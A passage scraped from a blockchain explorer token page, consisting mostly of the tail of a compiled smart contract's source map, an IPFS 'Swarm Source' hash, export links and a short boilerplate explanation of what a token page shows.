:13:0;;;;;;;:9;:13;;;;;:51;;;;2483:39;;;2502:19;2511:10;2502:6;:19;:::i;:::-;2483:39;;1342:25:1;;;1330:2;1315:18;2483:39:0;;;;;;;1895:635;;1828:702;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;:::-;2041:39;1900:186;-1:-1:-1;;;1900:186:1:o;2528:260::-;2596:6;2604;2657:2;2645:9;2636:7;2632:23;2628:32;2625:52;;;2673:1;2670;2663:12;2625:52;2696:29;2715:9;2696:29;:::i;:::-;2686:39;;2744:38;2778:2;2767:9;2763:18;2744:38;:::i;:::-;2734:48;;2528:260;;;;;:::o;2793:127::-;2854:10;2849:3;2845:20;2842:1;2835:31;2885:4;2882:1;2875:15;2909:4;2906:1;2899:15;2925:1191;3018:6;3026;3079:2;3067:9;3058:7;3054:23;3050:32;3047:52;;;3095:1;3092;3085:12;3047:52;3135:9;3122:23;3164:18;3205:2;3197:6;3194:14;3191:34;;;3221:1;3218;3211:12;3191:34;3259:6;3248:9;3244:22;3234:32;;3304:7;3297:4;3293:2;3289:13;3285:27;3275:55;;3326:1;3323;3316:12;3275:55;3362:2;3349:16;3384:4;3407:2;3403;3400:10;3397:36;;;3413:18;;:::i;:::-;3459:2;3456:1;3452:10;3491:2;3485:9;3554:2;3550:7;3545:2;3541;3537:11;3533:25;3525:6;3521:38;3609:6;3597:10;3594:22;3589:2;3577:10;3574:18;3571:46;3568:72;;;3620:18;;:::i;:::-;3656:2;3649:22;3706:18;;;3740:15;;;;-1:-1:-1;3782:11:1;;;3778:20;;;3810:19;;;3807:39;;;3842:1;3839;3832:12;3807:39;3866:11;;;;3886:148;3902:6;3897:3;3894:15;3886:148;;;3968:23;3987:3;3968:23;:::i;:::-;3956:36;;3919:12;;;;4012;;;;3886:148;;;4053:6;4091:18;;;;4078:32;;-1:-1:-1;;;;;;;2925:1191:1:o;4121:380::-;4200:1;4196:12;;;;4243;;;4264:61;;4318:4;4310:6;4306:17;4296:27;;4264:61;4371:2;4363:6;4360:14;4340:18;4337:38;4334:161;;4417:10;4412:3;4408:20;4405:1;4398:31;4452:4;4449:1;4442:15;4480:4;4477:1;4470:15;4334:161;;4121:380;;;:::o;4506:127::-;4567:10;4562:3;4558:20;4555:1;4548:31;4598:4;4595:1;4588:15;4622:4;4619:1;4612:15;4638:128;4705:9;;;4726:11;;;4723:37;;;4740:18;;:::i;5105:416::-;5194:1;5231:5;5194:1;5245:270;5266:7;5256:8;5253:21;5245:270;;;5325:4;5321:1;5317:6;5313:17;5307:4;5304:27;5301:53;;;5334:18;;:::i;:::-;5384:7;5374:8;5370:22;5367:55;;;5404:16;;;;5367:55;5483:22;;;;5443:15;;;;5245:270;;;5249:3;5105:416;;;;;:::o;5526:806::-;5575:5;5605:8;5595:80;;-1:-1:-1;5646:1:1;5660:5;;5595:80;5694:4;5684:76;;-1:-1:-1;5731:1:1;5745:5;;5684:76;5776:4;5794:1;5789:59;;;;5862:1;5857:130;;;;5769:218;;5789:59;5819:1;5810:10;;5833:5;;;5857:130;5894:3;5884:8;5881:17;5878:43;;;5901:18;;:::i;:::-;-1:-1:-1;;5957:1:1;5943:16;;5972:5;;5769:218;;6071:2;6061:8;6058:16;6052:3;6046:4;6043:13;6039:36;6033:2;6023:8;6020:16;6015:2;6009:4;6006:12;6002:35;5999:77;5996:159;;;-1:-1:-1;6108:19:1;;;6140:5;;5996:159;6187:34;6212:8;6206:4;6187:34;:::i;:::-;6257:6;6253:1;6249:6;6245:19;6236:7;6233:32;6230:58;;;6268:18;;:::i;:::-;6306:20;;5526:806;-1:-1:-1;;;5526:806:1:o;6337:140::-;6395:5;6424:47;6465:4;6455:8;6451:19;6445:4;6424:47;:::i;6482:168::-;6555:9;;;6586;;6603:15;;;6597:22;;6583:37;6573:71;;6624:18;;:::i;6655:127::-;6716:10;6711:3;6707:20;6704:1;6697:31;6747:4;6744:1;6737:15;6771:4;6768:1;6761:15;6787:217;6827:1;6853;6843:132;;6897:10;6892:3;6888:20;6885:1;6878:31;6932:4;6929:1;6922:15;6960:4;6957:1;6950:15;6843:132;-1:-1:-1;6989:9:1;;6787:217::o;7009:125::-;7074:9;;;7095:10;;;7092:36;;;7108:18;;:::i

Swarm Source

ipfs://550a0c139c692363f0cb225a5ee2024558b292d8dd322fe47d142668e8433bc8
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.